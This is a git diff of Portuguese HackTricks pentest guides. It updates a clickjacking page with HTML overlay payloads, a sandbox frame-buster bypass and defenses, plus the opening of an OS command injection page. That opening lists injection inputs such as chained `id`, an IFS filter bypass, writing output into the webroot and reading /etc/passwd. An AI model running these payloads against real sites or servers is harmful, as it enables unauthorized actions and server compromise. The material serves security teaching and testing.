||||
"font/*",
|
||||
"html/bookmarks.html",
|
||||
"css/*.css",
|
||||
"js/*.js",
|
||||
"js/jquery/*.js",
|
||||
"js/lang/*"
|
||||
],
|
||||
...trimmed for brevity...
|
||||
```
|
||||
A seção acima demonstra que a extensão abrange um amplo espectro com sua política de **`web_accessible_resources`**.
|
||||
|
||||
A página **`/html/bookmarks.html`** também pode ser **emoldurada** e, portanto, **explorada** via **clickjacking**. Nós abusamos disso para emoldurar esta página em nossa página web e **sobrepor o frame com elementos DOM para redirecionar o layout**. Isso faz com que a vítima não perceba que está **interagindo com a extensão abaixo**. A animação a seguir demonstra esse efeito (confira a animação no [**artigo original**](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)).
|
||||
|
||||
## Referências
|
||||
|
||||
* [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
|
||||
* [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
@ -2,37 +2,39 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo do** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo do [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Obtenha acesso hoje:
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias **mais avançadas** do mundo.\
|
||||
Obtenha Acesso Hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## O que é Clickjacking
|
||||
|
||||
Clickjacking é um ataque que **enganar** um **usuário** para **clicar** em um **elemento** de uma página da web que é **invisível** ou disfarçado como outro elemento. Isso pode fazer com que os usuários inadvertidamente baixem malware, acessem páginas da web maliciosas, forneçam credenciais ou informações sensíveis, transfiram dinheiro ou comprem produtos online. (De [aqui](https://www.imperva.com/learn/application-security/clickjacking/)).
|
||||
Clickjacking é um ataque que **engana** um **usuário** para **clicar** em um **elemento** de uma página web que é **invisível** ou disfarçado como outro elemento. Isso pode fazer com que os usuários, sem saber, baixem malware, visitem páginas web maliciosas, forneçam credenciais ou informações sensíveis, transfiram dinheiro ou comprem produtos online. (De [aqui](https://www.imperva.com/learn/application-security/clickjacking/)).
|
||||
|
||||
### Truque de preencher formulários
|
||||
### Truque de pré-preenchimento de formulários
|
||||
|
||||
Às vezes é possível **preencher o valor dos campos de um formulário usando parâmetros GET ao carregar uma página**. Um atacante pode abusar desse comportamento para preencher um formulário com dados arbitrários e enviar a carga de clickjacking para que o usuário pressione o botão Enviar.
|
||||
|
||||
### Preencher formulário com Arrastar e Soltar
|
||||
|
||||
Se você precisa que o usuário **preencha um formulário**, mas não quer pedir diretamente a ele para escrever algumas informações específicas (como o e-mail e/ou senha específica que você conhece), você pode simplesmente pedir a ele para **Arrastar e Soltar** algo que escreverá seus dados controlados como neste [**exemplo**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
||||
Se você precisa que o usuário **preencha um formulário** mas não quer pedir diretamente para ele escrever algumas informações específicas (como o email ou uma senha específica que você conhece), você pode simplesmente pedir para ele **Arrastar e Soltar** algo que escreverá seus dados controlados como neste [**exemplo**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
||||
|
||||
### Payload básico
|
||||
### Payload Básico
|
||||
```markup
|
||||
<style>
|
||||
iframe {
|
||||
|
|
@ -52,15 +54,7 @@ z-index: 1;
|
|||
<div>Click me</div>
|
||||
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
|
||||
```
|
||||
### Carga Única em Vários Passos
|
||||
|
||||
Clickjacking attacks can be made more effective by using a multistep payload. In a multistep payload, the attacker divides the malicious action into multiple steps, each triggered by a separate click event. This technique can help bypass certain security measures that may be in place to detect and prevent clickjacking attacks.
|
||||
|
||||
To implement a multistep payload, the attacker first identifies the target action they want to perform on the victim's behalf. This could be anything from submitting a form to making a purchase. The attacker then breaks down this action into smaller steps, each of which can be triggered by a separate click event.
|
||||
|
||||
For example, let's say the target action is submitting a form. The attacker can divide this action into three steps: filling out the form, clicking the submit button, and confirming the submission. Each step is triggered by a separate click event, and the attacker can use various techniques to hide these clicks from the victim.
|
||||
|
||||
By using a multistep payload, the attacker can make the clickjacking attack more covert and increase the chances of successfully executing the malicious action. It is important for developers and security professionals to be aware of this technique and implement appropriate measures to mitigate the risk of clickjacking attacks.
|
||||
### Payload Multistep
|
||||
```markup
|
||||
<style>
|
||||
iframe {
|
||||
|
|
@ -84,23 +78,7 @@ left:210px;
|
|||
<div class="secondClick">Click me next</div>
|
||||
<iframe src="https://vulnerable.net/account"></iframe>
|
||||
```
|
||||
### Carga de Arrastar e Soltar + Clique
|
||||
|
||||
Clickjacking can be combined with drag and drop functionality to create a more sophisticated attack. In this technique, the attacker tricks the user into dragging and dropping an object onto a hidden button or link, which triggers a malicious action.
|
||||
|
||||
O clickjacking pode ser combinado com a funcionalidade de arrastar e soltar para criar um ataque mais sofisticado. Nessa técnica, o atacante engana o usuário para arrastar e soltar um objeto em um botão ou link oculto, o que aciona uma ação maliciosa.
|
||||
|
||||
To perform this attack, the attacker first creates a transparent overlay on top of the target website. This overlay contains a draggable object that appears harmless to the user. The attacker then uses JavaScript to capture the user's drag and drop events and redirect them to the hidden button or link.
|
||||
|
||||
Para realizar esse ataque, o atacante primeiro cria uma sobreposição transparente sobre o site alvo. Essa sobreposição contém um objeto arrastável que parece inofensivo para o usuário. O atacante então usa JavaScript para capturar os eventos de arrastar e soltar do usuário e redirecioná-los para o botão ou link oculto.
|
||||
|
||||
When the user unknowingly drags and drops the object onto the hidden button or link, they inadvertently trigger the malicious action associated with it. This can include actions such as submitting a form, making a purchase, or performing any other action that the attacker desires.
|
||||
|
||||
Quando o usuário, sem saber, arrasta e solta o objeto no botão ou link oculto, ele inadvertidamente aciona a ação maliciosa associada a ele. Isso pode incluir ações como enviar um formulário, fazer uma compra ou realizar qualquer outra ação que o atacante desejar.
|
||||
|
||||
To protect against drag and drop + click payloads, web developers should implement measures such as frame-busting code, X-Frame-Options headers, and Content Security Policy (CSP) to prevent clickjacking attacks.
|
||||
|
||||
Para se proteger contra cargas de arrastar e soltar + clique, os desenvolvedores web devem implementar medidas como código de quebra de frames, cabeçalhos X-Frame-Options e Política de Segurança de Conteúdo (CSP) para evitar ataques de clickjacking.
|
||||
### Payload de Arrastar e Soltar + Clique
|
||||
```markup
|
||||
<html>
|
||||
<head>
|
||||
|
|
@ -131,84 +109,88 @@ background: #F00;
|
|||
```
|
||||
### XSS + Clickjacking
|
||||
|
||||
Se você identificou um ataque **XSS que requer que o usuário clique** em algum elemento para **acionar** o XSS e a página é **vulnerável a clickjacking**, você pode abusar disso para enganar o usuário a clicar no botão/link.\
|
||||
Se você identificou um **ataque XSS que requer que um usuário clique** em algum elemento para **acionar** o XSS e a página é **vulnerável a clickjacking**, você pode abusar disso para enganar o usuário a clicar no botão/link.\
|
||||
Exemplo:\
|
||||
_Você encontrou um **self XSS** em alguns detalhes privados da conta (detalhes que **apenas você pode definir e ler**). A página com o **formulário** para definir esses detalhes é **vulnerável** a **Clickjacking** e você pode **preencher** o **formulário** com os parâmetros GET._\
|
||||
\_\_Um atacante poderia preparar um ataque de **Clickjacking** para aquela página, **preenchendo** o **formulário** com o **payload XSS** e **enganando** o **usuário** a **enviar** o formulário. Assim, **quando o formulário for enviado** e os valores forem modificados, o **usuário executará o XSS**.
|
||||
_Você encontrou um **self XSS** em alguns detalhes privados da conta (detalhes que **apenas você pode definir e ler**). A página com o **formulário** para definir esses detalhes é **vulnerável** ao **Clickjacking** e você pode **preencher previamente** o **formulário** com os parâmetros GET._\
|
||||
\_\_Um atacante poderia preparar um ataque de **Clickjacking** para essa página **preenchendo previamente** o **formulário** com o **payload XSS** e **enganando** o **usuário** a **Enviar** o formulário. Assim, **quando o formulário for enviado** e os valores forem modificados, o **usuário executará o XSS**.
|
||||
|
||||
## Como evitar o Clickjacking
|
||||
## Como evitar Clickjacking
|
||||
|
||||
### Defesas do lado do cliente
|
||||
|
||||
É possível executar scripts no lado do cliente que realizam alguns ou todos os seguintes comportamentos para evitar o Clickjacking:
|
||||
É possível executar scripts do lado do cliente que realizam alguns ou todos os seguintes comportamentos para prevenir Clickjacking:
|
||||
|
||||
* verificar e garantir que a janela de aplicativo atual seja a janela principal ou superior,
|
||||
* verificar e garantir que a janela da aplicação atual seja a principal ou a janela superior,
|
||||
* tornar todos os frames visíveis,
|
||||
* impedir o clique em frames invisíveis,
|
||||
* interceptar e sinalizar possíveis ataques de clickjacking para um usuário.
|
||||
* prevenir cliques em frames invisíveis,
|
||||
* interceptar e sinalizar possíveis ataques de clickjacking em um usuário.
|
||||
|
||||
#### Bypass
|
||||
|
||||
Como os frame busters são JavaScript, as configurações de segurança do navegador podem impedir sua operação ou até mesmo o navegador pode não suportar JavaScript. Uma forma eficaz de contornar os frame busters é usar o **atributo `sandbox` do iframe do HTML5**. Quando isso é definido com os valores `allow-forms` ou `allow-scripts` e o valor `allow-top-navigation` é omitido, o script do frame buster pode ser neutralizado, pois o iframe não pode verificar se é ou não a janela superior:
|
||||
Como os frame busters são JavaScript, as configurações de segurança do navegador podem impedir sua operação ou mesmo o navegador pode não suportar JavaScript. Uma solução eficaz de ataque contra frame busters é usar o atributo `sandbox` do **HTML5 iframe**. Quando isso é definido com os valores `allow-forms` ou `allow-scripts` e o valor `allow-top-navigation` é omitido, então o script de frame buster pode ser neutralizado, pois o iframe não pode verificar se é ou não a janela superior:
|
||||
```markup
|
||||
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
|
||||
```
|
||||
Tanto os valores `allow-forms` quanto `allow-scripts` permitem as ações especificadas dentro do iframe, mas a navegação de nível superior é desativada. Isso inibe comportamentos de quebra de frame, permitindo ao mesmo tempo a funcionalidade dentro do site-alvo.
|
||||
```markdown
|
||||
Os valores `allow-forms` e `allow-scripts` permitem as ações especificadas dentro do iframe, mas a navegação de nível superior é desativada. Isso inibe comportamentos de quebra de frame enquanto permite funcionalidade dentro do site alvo.
|
||||
|
||||
Dependendo do tipo de ataque de Clickjacking realizado, **você também pode precisar permitir**: `allow-same-origin` e `allow-modals` ou [ainda mais](https://www.w3schools.com/tags/att\_iframe\_sandbox.asp). Ao preparar o ataque, verifique o console do navegador, pois ele pode informar quais outros comportamentos você precisa permitir.
|
||||
Dependendo do tipo de ataque de Clickjacking realizado **você também pode precisar permitir**: `allow-same-origin` e `allow-modals` ou [até mais](https://www.w3schools.com/tags/att_iframe_sandbox.asp). Ao preparar o ataque, basta verificar o console do navegador, ele pode informar quais outros comportamentos você precisa permitir.
|
||||
|
||||
### X-Frame-Options
|
||||
|
||||
O cabeçalho de resposta HTTP **`X-Frame-Options`** pode ser usado para indicar se um navegador deve ou não **permitir** a renderização de uma página em um `<frame>` ou `<iframe>`. Os sites podem usar isso para evitar ataques de Clickjacking, garantindo que **seu conteúdo não seja incorporado em outros sites**. Defina o cabeçalho **`X-Frame-Options`** para todas as respostas que contêm conteúdo HTML. Os valores possíveis são:
|
||||
O **cabeçalho de resposta HTTP `X-Frame-Options`** pode ser usado para indicar se um navegador deve ou não ser **permitido** para renderizar uma página em um `<frame>` ou `<iframe>`. Sites podem usar isso para evitar ataques de Clickjacking, garantindo que **seu conteúdo não seja incorporado em outros sites**. Defina o cabeçalho **`X-Frame-Options`** para todas as respostas que contenham conteúdo HTML. Os valores possíveis são:
|
||||
|
||||
* `X-Frame-Options: deny`, que **impede que qualquer domínio incorpore o conteúdo** _(valor recomendado)_
|
||||
* `X-Frame-Options: sameorigin`, que permite apenas que o **site atual** incorpore o conteúdo.
|
||||
* `X-Frame-Options: allow-from https://trusted.com`, que **permite que o 'uri' especificado** incorpore esta página.
|
||||
* Verifique as limitações abaixo, pois **isso falhará se o navegador não o suportar**.
|
||||
* Outros navegadores suportam a nova diretiva **CSP frame-ancestors**. Alguns suportam ambos.
|
||||
* `X-Frame-Options: deny` que **impede qualquer domínio de enquadrar o conteúdo** _(Valor recomendado)_
|
||||
* `X-Frame-Options: sameorigin` que **permite apenas ao site atual** enquadrar o conteúdo.
|
||||
* `X-Frame-Options: allow-from https://trusted.com` que **permite ao 'uri' especificado** enquadrar esta página.
|
||||
* Verifique as limitações abaixo porque **isso falhará aberto se o navegador não suportar**.
|
||||
* Outros navegadores suportam a nova **diretiva CSP frame-ancestors**. Alguns suportam ambos.
|
||||
|
||||
### Diretiva frame-ancestors da Política de Segurança de Conteúdo (CSP)
|
||||
|
||||
A proteção recomendada contra Clickjacking é incorporar a diretiva **`frame-ancestors`** na Política de Segurança de Conteúdo da aplicação.\
|
||||
A diretiva **`frame-ancestors 'none'`** é semelhante ao comportamento da diretiva **X-Frame-Options `deny`** (_Ninguém pode incorporar a página_).\
|
||||
A diretiva **`frame-ancestors 'self'`** é amplamente equivalente à diretiva **X-Frame-Options `sameorigin`** (_apenas o site atual pode incorporá-lo_).\
|
||||
A diretiva **`frame-ancestors trusted.com`** é amplamente equivalente à diretiva **X-Frame-Options** `allow-from` (_apenas o site confiável pode incorporá-lo_).
|
||||
A **proteção recomendada contra clickjacking** é incorporar a **diretiva `frame-ancestors`** na Política de Segurança de Conteúdo da aplicação.\
|
||||
A diretiva **`frame-ancestors 'none'`** é semelhante em comportamento à diretiva **X-Frame-Options `deny`** (_Ninguém pode enquadrar a página_).\
|
||||
A diretiva **`frame-ancestors 'self'`** é amplamente equivalente à diretiva **X-Frame-Options `sameorigin`** (_apenas o site atual pode enquadrá-la_).\
|
||||
A diretiva **`frame-ancestors trusted.com`** é amplamente equivalente à **X-Frame-Options** `allow-from` (_apenas o site confiável pode enquadrá-la_).
|
||||
|
||||
A seguinte CSP permite apenas frames do mesmo domínio:
|
||||
A seguinte CSP lista branca frames para o mesmo domínio apenas:
|
||||
|
||||
`Content-Security-Policy: frame-ancestors 'self';`
|
||||
|
||||
Consulte a documentação a seguir para obter mais detalhes e exemplos mais complexos:
|
||||
Veja a seguinte documentação para mais detalhes e exemplos mais complexos:
|
||||
|
||||
* [https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors)
|
||||
* [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors)
|
||||
|
||||
### Limitações <a href="#limitations" id="limitations"></a>
|
||||
|
||||
* **Compatibilidade com navegadores:** O CSP frame-ancestors ainda não é suportado por todos os principais navegadores.
|
||||
* **X-Frame-Options tem prioridade:** A seção "Relação com X-Frame-Options" da especificação CSP diz: "_Se um recurso for entregue com uma política que inclua uma diretiva chamada frame-ancestors e cuja disposição seja 'enforce', o cabeçalho X-Frame-Options DEVE ser ignorado_", mas o Chrome 40 e o Firefox 35 ignoram a diretiva frame-ancestors e seguem o cabeçalho X-Frame-Options.
|
||||
* **Suporte do navegador:** CSP frame-ancestors não são suportados por todos os principais navegadores ainda.
|
||||
* **X-Frame-Options tem prioridade:** [Seção "Relação com X-Frame-Options" da Especificação CSP](https://w3c.github.io/webappsec/specs/content-security-policy/#frame-ancestors-and-frame-options) diz: "_Se um recurso é entregue com uma política que inclui uma diretiva chamada frame-ancestors e cuja disposição é "enforce", então o cabeçalho X-Frame-Options DEVE ser ignorado_", mas o Chrome 40 & Firefox 35 ignoram a diretiva frame-ancestors e seguem o cabeçalho X-Frame-Options em vez disso.
|
||||
|
||||
## Referências
|
||||
|
||||
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
|
||||
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
|
||||
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para criar e **automatizar fluxos de trabalho** com facilidade, usando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias **mais avançadas** do mundo.\
|
||||
Obtenha Acesso Hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**merchandising oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
|||
|
|
@ -2,30 +2,32 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias **mais avançadas** do mundo.\
|
||||
Obtenha Acesso Hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## O que é Injeção de Comando?
|
||||
|
||||
A injeção de comando em sistema operacional (também conhecida como injeção de shell) é uma vulnerabilidade de segurança na web que permite que um invasor execute comandos arbitrários do sistema operacional (SO) no servidor que está executando um aplicativo, e normalmente comprometa completamente o aplicativo e todos os seus dados. (De [aqui](https://portswigger.net/web-security/os-command-injection)).
|
||||
A injeção de comando do sistema operacional (também conhecida como injeção de shell) é uma vulnerabilidade de segurança web que permite a um atacante executar comandos arbitrários do sistema operacional (OS) no servidor que está executando uma aplicação, e tipicamente comprometer completamente a aplicação e todos os seus dados. (De [aqui](https://portswigger.net/web-security/os-command-injection)).
|
||||
|
||||
### Contexto
|
||||
|
||||
Dependendo de **onde sua entrada está sendo injetada**, você pode precisar **encerrar o contexto entre aspas** (usando `"` ou `'`) antes dos comandos.
|
||||
Dependendo de **onde sua entrada está sendo injetada**, você pode precisar **terminar o contexto entre aspas** (usando `"` ou `'`) antes dos comandos.
|
||||
|
||||
## Injeção/Execução de Comando
|
||||
```bash
|
||||
|
|
@ -46,9 +48,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
|
|||
> /var/www/html/out.txt #Try to redirect the output to a file
|
||||
< /etc/passwd #Try to send some input to the command
|
||||
```
|
||||
### **Limitações** de Bypass
|
||||
### **Bypasses de Limitações**
|
||||
|
||||
Se você está tentando executar **comandos arbitrários dentro de uma máquina Linux**, você ficará interessado em ler sobre esses **Bypasses**:
|
||||
Se você está tentando executar **comandos arbitrários dentro de uma máquina linux**, você vai se interessar em ler sobre estes **Bypasses:**
|
||||
|
||||
